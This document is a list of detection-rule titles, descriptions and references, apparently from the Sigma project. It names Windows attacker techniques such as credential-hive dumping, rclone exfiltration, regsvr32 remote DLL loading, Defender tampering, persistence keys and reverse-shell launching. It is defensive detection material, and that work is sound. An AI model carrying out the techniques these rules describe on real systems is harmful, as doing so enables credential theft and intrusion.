PUA - SoftPerfect Netscan Execution	Detects usage of SoftPerfect's "netscan.exe". An application for scanning networks. It is actively used in-the-wild by threat actors to inspect and understand the network architecture of a victim.	https://www.protect.airbus.com/blog/uncovering-cyber-intruders-netscan/, https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf, https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue, https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/, https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/, https://www.softperfect.com/products/networkscanner/
PUA - Ngrok Execution	Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available. Involved domains are bin.equinox.io for download and *.ngrok.io for connections.	https://ngrok.com/docs, https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html, https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp, https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection, https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/, https://twitter.com/xorJosh/status/1598646907802451969, https://www.softwaretestinghelp.com/how-to-use-ngrok/
PUA - Nimgrab Execution	Detects the usage of nimgrab, a tool bundled with the Nim programming framework and used for downloading files.	https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md
PUA - NirCmd Execution	Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity	https://www.nirsoft.net/utils/nircmd.html, https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/, https://www.nirsoft.net/utils/nircmd2.html#using
PUA - NirCmd Execution As LOCAL SYSTEM	Detects the use of NirCmd tool for command execution as SYSTEM user	https://www.nirsoft.net/utils/nircmd.html, https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/, https://www.nirsoft.net/utils/nircmd2.html#using
PUA - Nmap/Zenmap Execution	Detects usage of namp/zenmap. Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation	https://nmap.org/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows
PUA - NPS Tunneling Tool Execution	Detects the use of NPS, a port forwarding and intranet penetration proxy server	https://github.com/ehang-io/nps
PUA - NSudo Execution	Detects the use of NSudo tool for command execution	https://web.archive.org/web/20221019044836/https://nsudo.m2team.org/en-us/, https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
PUA - PingCastle Execution	Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level.	https://github.com/vletoux/pingcastle, https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/, https://github.com/fengjixuchui/Start-ADEnum/blob/e237a739db98b6104427d833004836507da36a58/Functions/Start-ADEnum.ps1#L450, https://github.com/lkys37en/Start-ADEnum/blob/5b42c54215fe5f57fc59abc52c20487d15764005/Functions/Start-ADEnum.ps1#L680, https://github.com/projectHULK/AD_Recon/blob/dde2daba9b3393a9388cbebda87068972cc0bd3b/SecurityAssessment.ps1#L2699, https://github.com/802-1x/Compliance/blob/2e53df8b6e89686a0b91116b3f42c8f717dca820/Ping%20Castle/Get-PingCastle-HTMLComplianceReport.ps1#L8, https://github.com/EvotecIT/TheDashboard/blob/481a9ce8f82f2fd55fe65220ee6486bae6df0c9d/Examples/RunReports/PingCastle.ps1
PUA - PingCastle Execution From Potentially Suspicious Parent	Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level via a script located in a potentially suspicious or uncommon location.	https://github.com/vletoux/pingcastle, https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/, https://github.com/fengjixuchui/Start-ADEnum/blob/e237a739db98b6104427d833004836507da36a58/Functions/Start-ADEnum.ps1#L450, https://github.com/lkys37en/Start-ADEnum/blob/5b42c54215fe5f57fc59abc52c20487d15764005/Functions/Start-ADEnum.ps1#L680, https://github.com/projectHULK/AD_Recon/blob/dde2daba9b3393a9388cbebda87068972cc0bd3b/SecurityAssessment.ps1#L2699, https://github.com/802-1x/Compliance/blob/2e53df8b6e89686a0b91116b3f42c8f717dca820/Ping%20Castle/Get-PingCastle-HTMLComplianceReport.ps1#L8, https://github.com/EvotecIT/TheDashboard/blob/481a9ce8f82f2fd55fe65220ee6486bae6df0c9d/Examples/RunReports/PingCastle.ps1
PUA - Process Hacker Execution	Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes.	https://processhacker.sourceforge.io/, https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/
PUA - Radmin Viewer Utility Execution	Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md, https://www.radmin.fr/
PUA - Potential PE Metadata Tamper Using Rcedit	Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.	https://security.stackexchange.com/questions/210843/is-it-possible-to-change-original-filename-of-an-exe, https://www.virustotal.com/gui/file/02e8e8c5d430d8b768980f517b62d7792d690982b9ba0f7e04163cbc1a6e7915, https://github.com/electron/rcedit
PUA - Rclone Execution	Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc	https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/, https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware, https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a, https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone, https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html
PUA - RunXCmd Execution	Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts	https://www.d7xtech.com/free-software/runx/, https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
PUA - Seatbelt Execution	Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters	https://github.com/GhostPack/Seatbelt, https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html
PUA - System Informer Execution	Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations	https://github.com/winsiderss/systeminformer
PUA - WebBrowserPassView Execution	Detects the execution of WebBrowserPassView.exe. A password recovery tool that reveals the passwords stored by the following Web browsers, Internet Explorer (Version 4.0 - 11.0), Mozilla Firefox (All Versions), Google Chrome, Safari, and Opera	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md
PUA - Wsudo Suspicious Execution	Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)	https://github.com/M2Team/Privexec/
PUA - Adidnsdump Execution	This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed, Usee to Query/modify DNS records for Active Directory integrated DNS via LDAP	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump
Python Inline Command Execution	Detects execution of python using the "-c" flag. This is could be used as a way to launch a reverse shell or execute live python code.	https://docs.python.org/3/using/cmdline.html#cmdoption-c, https://www.revshells.com/, https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Python Spawning Pretty TTY on Windows	Detects python spawning a pretty tty	https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
Potentially Suspicious Usage Of Qemu	Detects potentially suspicious execution of the Qemu utility in a Windows environment. Threat actors have leveraged this utility and this technique for achieving network access as reported by Kaspersky.	https://securelist.com/network-tunneling-with-qemu/111803/, https://www.qemu.org/docs/master/system/invocation.html#hxtool-5
Query Usage To Exfil Data	Detects usage of "query.exe" a system binary to exfil information such as "sessions" and "processes" for later use	https://twitter.com/MichalKoczwara/status/1553634816016498688
QuickAssist Execution	Detects the execution of Microsoft Quick Assist tool "QuickAssist.exe". This utility can be used by attackers to gain remote access.	https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/, https://www.linkedin.com/posts/kevin-beaumont-security_ive-been-assisting-a-few-orgs-hit-with-successful-activity-7268055739116445701-xxjZ/, https://x.com/cyb3rops/status/1862406110365245506, https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist
Rar Usage with Password and Compression Level	Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.	https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/, https://ss64.com/bash/rar.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
Files Added To An Archive Using Rar.EXE	Detects usage of "rar" to add files to an archive for potential compression. An adversary may compress data (e.g. sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md, https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html
Suspicious Greedy Compression Using Rar.EXE	Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes	https://decoded.avast.io/martinchlumecky/png-steganography
Suspicious RASdial Activity	Detects suspicious process related to rasdial.exe	https://twitter.com/subTee/status/891298217907830785
Process Memory Dump via RdrLeakDiag.EXE	Detects the use of the Microsoft Windows Resource Leak Diagnostic tool "rdrleakdiag.exe" to dump process memory	https://www.pureid.io/dumping-abusing-windows-credentials-part-1/, https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/, https://lolbas-project.github.io/lolbas/Binaries/Rdrleakdiag/, https://twitter.com/0gtweet/status/1299071304805560321?s=21, https://news.sophos.com/en-us/2024/06/05/operation-crimson-palace-a-technical-deep-dive
Potentially Suspicious Execution Of Regasm/Regsvcs With Uncommon Extension	Detects potentially suspicious execution of the Regasm/Regsvcs utilities with an uncommon extension.	https://www.fortiguard.com/threat-signal-report/4718?s=09, https://lolbas-project.github.io/lolbas/Binaries/Regasm/, https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location	Detects potentially suspicious execution of the Regasm/Regsvcs utilities from a potentially suspicious location	https://www.fortiguard.com/threat-signal-report/4718?s=09, https://lolbas-project.github.io/lolbas/Binaries/Regasm/, https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
Exports Critical Registry Keys To a File	Detects the export of a crital Registry key to a file.	https://lolbas-project.github.io/lolbas/Binaries/Regedit/, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Exports Registry Key To a File	Detects the export of the target Registry key to a file.	https://lolbas-project.github.io/lolbas/Binaries/Regedit/, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Imports Registry Key From a File	Detects the import of the specified file to the registry with regedit.exe.	https://lolbas-project.github.io/lolbas/Binaries/Regedit/, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Imports Registry Key From an ADS	Detects the import of a alternate datastream to the registry with regedit.exe.	https://lolbas-project.github.io/lolbas/Binaries/Regedit/, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Regedit as Trusted Installer	Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe	https://twitter.com/1kwpeter/status/1397816101455765504
Suspicious Registry Modification From ADS Via Regini.EXE	Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.	https://lolbas-project.github.io/lolbas/Binaries/Regini/, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini
Registry Modification Via Regini.EXE	Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.	https://lolbas-project.github.io/lolbas/Binaries/Regini/, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini
DLL Execution Via Register-cimprovider.exe	Detects using register-cimprovider.exe to execute arbitrary dll file.	https://twitter.com/PhilipTsukerman/status/992021361106268161, https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/
Enumeration for 3rd Party Creds From CLI	Detects processes that query known 3rd party registry keys that holds credentials via commandline	https://isc.sans.edu/diary/More+Data+Exfiltration/25698, https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt, https://github.com/HyperSine/how-does-MobaXterm-encrypt-password, https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry
Suspicious Debugger Registration Cmdline	Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).	https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/, https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/
IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI	Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.	https://twitter.com/M_haggis/status/1699056847154725107, https://twitter.com/JAMESWT_MHT/status/1699042827261391247, https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries, https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content
Potential Persistence Via Logon Scripts - CommandLine	Detects the addition of a new LogonScript to the registry value "UserInitMprLogonScript" for potential persistence	https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html
Potential Credential Dumping Attempt Using New NetworkProvider - CLI	Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it	https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/network-provider-settings-removed-in-place-upgrade, https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
Python Function Execution Security Warning Disabled In Excel	Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.	https://support.microsoft.com/en-us/office/data-security-and-python-in-excel-33cc88a4-4a87-485e-9ff9-f35958278327
Potential Privilege Escalation via Service Permissions Weakness	Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment, https://pentestlab.blog/2017/03/31/insecure-registry-permissions/
Potential Provisioning Registry Key Abuse For Binary Proxy Execution	Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".	https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/, https://twitter.com/0gtweet/status/1674399582162153472
Potential PowerShell Execution Policy Tampering - ProcCreation	Detects changes to the PowerShell execution policy registry key in order to bypass signing requirements for script execution from the CommandLine	https://learn.microsoft.com/de-de/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3
Hiding User Account Via SpecialAccounts Registry Key - CommandLine	Detects changes to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.	https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/, https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/, https://thedfirreport.com/2024/04/29/from-icedid-to-dagon-locker-ransomware-in-29-days/, https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
Persistence Via TypedPaths - CommandLine	Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt	https://twitter.com/dez_/status/1560101453150257154, https://forensafe.com/blogs/typedpaths.html
Potential Regsvr32 Commandline Flag Anomaly	Detects a potential command line flag anomaly related to "regsvr32" in which the "/i" flag is used without the "/n" which should be uncommon.	https://twitter.com/sbousseaden/status/1282441816986484737?s=12
Potentially Suspicious Regsvr32 HTTP IP Pattern	Detects regsvr32 execution to download and install DLLs located remotely where the address is an IP address.	https://twitter.com/mrd0x/status/1461041276514623491, https://twitter.com/tccontre18/status/1480950986650832903, https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
Potentially Suspicious Regsvr32 HTTP/FTP Pattern	Detects regsvr32 execution to download/install/register new DLLs that are hosted on Web or FTP servers.	https://twitter.com/mrd0x/status/1461041276514623491, https://twitter.com/tccontre18/status/1480950986650832903, https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
Suspicious Regsvr32 Execution From Remote Share	Detects REGSVR32.exe to execute DLL hosted on remote shares	https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/
Potentially Suspicious Child Process Of Regsvr32	Detects potentially suspicious child processes of "regsvr32.exe".	https://redcanary.com/blog/intelligence-insights-april-2022/, https://www.echotrail.io/insights/search/regsvr32.exe, https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo
Regsvr32 Execution From Potential Suspicious Location	Detects execution of regsvr32 where the DLL is located in a potentially suspicious location.	https://web.archive.org/web/20171001085340/https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html, https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
Regsvr32 Execution From Highly Suspicious Location	Detects execution of regsvr32 where the DLL is located in a highly suspicious locations	Internal Research
Regsvr32 DLL Execution With Suspicious File Extension	Detects the execution of REGSVR32.exe with DLL files masquerading as other files	https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/, https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html, https://guides.lib.umich.edu/c.php?g=282942&p=1885348
Scripting/CommandLine Process Spawned Regsvr32	Detects various command line and scripting engines/processes such as "PowerShell", "Wscript", "Cmd", etc. spawning a "regsvr32" instance.	https://web.archive.org/web/20171001085340/https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html, https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
Regsvr32 DLL Execution With Uncommon Extension	Detects a "regsvr32" execution where the DLL doesn't contain a common file extension.	https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
Potential Persistence Attempt Via Run Keys Using Reg.EXE	Detects suspicious command line reg.exe tool adding key to RUN key in Registry	https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/, https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys
Add SafeBoot Keys Via Reg Utility	Detects execution of "reg.exe" commands with the "add" or "copy" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not	https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/
Suspicious Reg Add BitLocker	Detects suspicious addition to BitLocker related registry keys via the reg.exe utility	https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/
Dropping Of Password Filter DLL	Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS	https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/, https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter
SafeBoot Registry Key Deleted Via Reg.EXE	Detects execution of "reg.exe" commands with the "delete" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products	https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html
Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE	Detects the usage of "reg.exe" to add Defender folder exclusions. Qbot has been seen using this technique to add exclusions for folders within AppData and ProgramData.	https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/, https://redcanary.com/threat-detection-report/threats/qbot/
Service Registry Key Deleted Via Reg.EXE	Detects execution of "reg.exe" commands with the "delete" flag on services registry key. Often used by attacker to remove AV software services	https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465
Potentially Suspicious Desktop Background Change Using Reg.EXE	Detects the execution of "reg.exe" to alter registry keys that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.	https://www.attackiq.com/2023/09/20/emulating-rhysida/, https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/, https://www.trendmicro.com/en_us/research/23/h/an-overview-of-the-new-rhysida-ransomware.html, https://www.virustotal.com/gui/file/a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6/behavior, https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDesktop::Wallpaper, https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.ControlPanelDisplay::CPL_Personalization_NoDesktopBackgroundUI
Direct Autorun Keys Modification	Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
Security Service Disabled Via Reg.EXE	Detects execution of "reg.exe" to disable security services such as Windows Defender.	https://twitter.com/JohnLaTwC/status/1415295021041979392, https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1, https://vms.drweb.fr/virus/?i=24144899, https://bidouillesecurity.com/disable-windows-defender-in-powershell/
Dumping of Sensitive Hives Via Reg.EXE	Detects the usage of "reg.exe" in order to dump sensitive registry hives. This includes SAM, SYSTEM and SECURITY hives.	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment, https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md, https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets
Windows Recall Feature Enabled Via Reg.EXE	Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" value, or setting it to 0. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.	https://learn.microsoft.com/en-us/windows/client-management/manage-recall, https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis
Potential Suspicious Registry File Imported Via Reg.EXE	Detects the import of '.reg' files from suspicious paths using the 'reg.exe' utility	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import
LSA PPL Protection Disabled Via Reg.EXE	Detects the usage of the "reg.exe" utility to disable PPL protection on the LSA process	https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/
Modify Group Policy Settings	Detect malicious GPO modifications can be used to implement many other malicious behaviors.	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md
Suspicious Reg Add Open Command	Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key	https://thedfirreport.com/2021/12/13/diavol-ransomware/
Enumeration for Credentials in Registry	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.002/T1552.002.md
Enable LM Hash Storage - ProcCreation	Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.	https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a, https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/prevent-windows-store-lm-hash-password, https://www.sans.org/blog/protecting-privileged-domain-accounts-lm-hashes-the-good-the-bad-and-the-ugly/
RestrictedAdminMode Registry Value Tampering - ProcCreation	Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise	https://github.com/redcanaryco/atomic-red-team/blob/a8e3cf63e97b973a25903d3df9fd55da6252e564/atomics/T1112/T1112.md, https://social.technet.microsoft.com/wiki/contents/articles/32905.remote-desktop-services-enable-restricted-admin-mode.aspx, https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
Detected Windows Software Discovery	Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md, https://github.com/harleyQu1nn/AggressorScripts
Potential Tampering With RDP Related Registry Keys Via Reg.EXE	Detects the execution of "reg.exe" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\Control\Terminal Server' values	https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
Potential Configuration And Service Reconnaissance Via Reg.EXE	Detects the usage of "reg.exe" in order to query reconnaissance information from the registry. Adversaries may interact with the Windows registry to gather information about credentials, the system, configuration, and installed software.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1012/T1012.md
Suspicious ScreenSave Change by Reg.exe	Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md, https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
Changing Existing Service ImagePath Value Via Reg.EXE	Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe
Reg Add Suspicious Paths	Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md, https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md, https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
Disabled Volume Snapshots	Detects commands that temporarily turn off Volume Snapshots	https://twitter.com/0gtweet/status/1354766164166115331
Suspicious Windows Defender Registry Key Tampering Via Reg.EXE	Detects the usage of "reg.exe" to tamper with different Windows Defender registry keys in order to disable some important features related to protection and detection	https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/, https://github.com/swagkarna/Defeat-Defender-V1.2.0, https://www.elevenforum.com/t/video-guide-how-to-completely-disable-microsoft-defender-antivirus.14608/page-2
Write Protect For Storage Disabled	Detects applications trying to modify the registry in order to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.	https://www.manageengine.com/products/desktop-central/os-imaging-deployment/media-is-write-protected.html
Suspicious Query of MachineGUID	Use of reg to get MachineGuid information	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-8---windows-machineguid-discovery
Remote Access Tool - AnyDesk Execution	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows
Remote Access Tool - AnyDesk Piped Password Via CLI	Detects piping the password to an anydesk instance via CMD and the '--set-password' flag.	https://redcanary.com/blog/misbehaving-rats/
